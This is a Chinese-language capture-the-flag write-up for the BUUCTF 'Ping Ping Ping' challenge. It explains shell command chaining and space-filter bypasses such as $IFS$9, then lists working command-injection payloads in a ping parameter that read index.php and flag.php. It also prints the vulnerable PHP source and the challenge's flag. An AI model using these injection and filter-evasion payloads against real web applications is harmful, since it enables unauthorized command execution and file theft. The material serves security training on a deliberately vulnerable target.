【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup
资料来源于这个博客
理论基础
命令联合执行
URL编码:一种百分号和数字字母的组合形式,类似于:%0a.
; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真
url编码 %0a (换行) %0d (回车)
|
绕过空格
起因:在URL当中的普通输入的空格被过滤导致命令无法执行,需寻找替代品
IFS: Linux内置环境变量 ${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 IFS < <> {cat,flag.php} %20 (space) %09 (tab) X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
|
联合查询例子如下:
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用.简单说,$IFS$1是一个整体
|
解题
直接查询
查询 ?ip=127.0.0.1;ifconfig 返回 PING 127.0.0.1 (127.0.0.1): 56 data bytes eth0 Link encap:Ethernet HWaddr 82:0A:99:FB:28:6E inet addr:10.244.80.11 Bcast:0.0.0.0 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:39 errors:0 dropped:0 overruns:0 frame:0 TX packets:26 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5154 (5.0 KiB) TX bytes:2210 (2.1 KiB)
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:43 errors:0 dropped:0 overruns:0 frame:0 TX packets:43 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7960 (7.7 KiB) TX bytes:7960 (7.7 KiB) 证明是Linux系统
查询 ?ip=127.0.0.1;ls 返回 index.php flag.php
试图直接展示 ?ip=127.0.0.1;cat flag.php 返回 /?ip=fxck your space! 测试了下所有的类似于cat,tac的显示,均无法显示
|
换空格
- 换空格 ?ip=127.0.0.1;cat$IFS$flag.php 返回 /?ip=fxck your space!
- 获取过滤源码 ?ip=127.0.0.1|cat$IFS$1index.php 返回 /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "
"; print_r($a); } ?>
- 分析源码 1.正则表达式过滤: 特殊字符 &/?*<|[\x{00}-\x{20}]>'"\()[]{} 空格 /bash/ 文件名贪婪匹配过滤:*f*l*a*g* =意味着=> 无法使用f\l\a\g.php,flag.php等 2.变量$a
|
尝试绕过
尝试覆盖 ?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 错误 ?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 无 ?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 错误 ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 错误 ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
注释当中找到flag flag{7bbe778b-9dda-4980-8532-9deb7904bd14}
|